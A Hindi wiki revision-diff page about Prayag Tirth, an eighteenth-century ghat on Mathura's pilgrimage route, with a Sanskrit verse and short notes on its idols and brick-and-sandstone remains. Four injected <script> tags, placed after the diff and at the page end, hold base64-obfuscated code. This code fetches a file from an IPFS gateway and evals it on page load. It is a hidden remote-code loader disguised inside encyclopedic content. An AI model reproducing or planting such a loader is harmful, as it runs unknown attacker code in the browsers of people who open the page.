"प्रयाग तीर्थ" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - " ।" to "।")
 
(८ सदस्यों द्वारा किये गये बीच के १६ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
{{Menu}}<br />
+
{{Tourism3
 
+
|Image=Blank-Image-2.jpg
==प्रयाग तीर्थ / Prayag Tirth==
+
|Location=यह [[मथुरा]] के परिक्रमा मार्ग पर स्थित है।
प्रयागनामतीर्थं तु देवानामपि दुर्ल्लभम् ।<br />
+
|Archeology=निर्माणकाल- अठारहवीं शताब्दी
तस्मिन् स्नातो नरो देवि ! अग्निष्टोमफलं लभेत ।।<br />
+
|Owner=उत्तर प्रदेश सरकार
 +
|Source=[[इंटैक]]
 +
|Update=2009
 +
}}
 +
==प्रयाग तीर्थ / [[:en:Prayag Tirth|Prayag Tirth]]==
 +
प्रयागनामतीर्थं तु देवानामपि दुर्ल्लभम्।<br />
 +
तस्मिन् स्नातो नरो देवि ! अग्निष्टोमफलं लभेत।।<br />
 
यहाँ तीर्थराज [[प्रयाग]] भगवद् आराधना करते हैं। यहीं पर प्रयाग के वेणीमाधव नित्य अवस्थित रहते हैं। यहाँ स्नान करने वाले अग्निष्टोम आदि का फल प्राप्त कर वैकुण्ठ धाम को प्राप्त होते हैं।
 
यहाँ तीर्थराज [[प्रयाग]] भगवद् आराधना करते हैं। यहीं पर प्रयाग के वेणीमाधव नित्य अवस्थित रहते हैं। यहाँ स्नान करने वाले अग्निष्टोम आदि का फल प्राप्त कर वैकुण्ठ धाम को प्राप्त होते हैं।
{{यमुना के घाट}}
+
====इतिहास====
[[श्रेणी: कोश]]
+
यहाँ बेनी माधव व रामेश्वर महादेव की मूर्तियाँ स्थापित हैं।
[[category:दर्शनीय-स्थल]]
+
==वास्तु==
 +
यहाँ बिना छतरी के दो बुर्ज मात्र ही बचे हैं। इसे बनाने में लखोरी ईंट व चूने, लाल एवं बलुआ पत्थर का इस्तेमाल किया गया है।
 +
==टीका टिप्पणी और संदर्भ==
 +
==सम्बंधित लिंक==
 +
{{ब्रज के दर्शनीय स्थल}}
 +
[[en:Prayag Tirth]]
 +
[[Category: कोश]]
 +
[[Category:दर्शनीय-स्थल]]
 +
__INDEX__
 +
__NOTOC__

१२:५७, २ नवम्बर २०१३ के समय का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

स्थानीय सूचना
प्रयाग तीर्थ

Blank-Image-2.jpg
मार्ग स्थिति: यह मथुरा के परिक्रमा मार्ग पर स्थित है।
आस-पास:
पुरातत्व: निर्माणकाल- अठारहवीं शताब्दी
वास्तु:
स्वामित्व: उत्तर प्रदेश सरकार
प्रबन्धन:
स्त्रोत: इंटैक
अन्य लिंक:
अन्य:
सावधानियाँ:
मानचित्र:
अद्यतन: 2009

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

प्रयाग तीर्थ / Prayag Tirth

प्रयागनामतीर्थं तु देवानामपि दुर्ल्लभम्।
तस्मिन् स्नातो नरो देवि ! अग्निष्टोमफलं लभेत।।
यहाँ तीर्थराज प्रयाग भगवद् आराधना करते हैं। यहीं पर प्रयाग के वेणीमाधव नित्य अवस्थित रहते हैं। यहाँ स्नान करने वाले अग्निष्टोम आदि का फल प्राप्त कर वैकुण्ठ धाम को प्राप्त होते हैं।

इतिहास

यहाँ बेनी माधव व रामेश्वर महादेव की मूर्तियाँ स्थापित हैं।

वास्तु

यहाँ बिना छतरी के दो बुर्ज मात्र ही बचे हैं। इसे बनाने में लखोरी ईंट व चूने, लाल एवं बलुआ पत्थर का इस्तेमाल किया गया है।

टीका टिप्पणी और संदर्भ

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>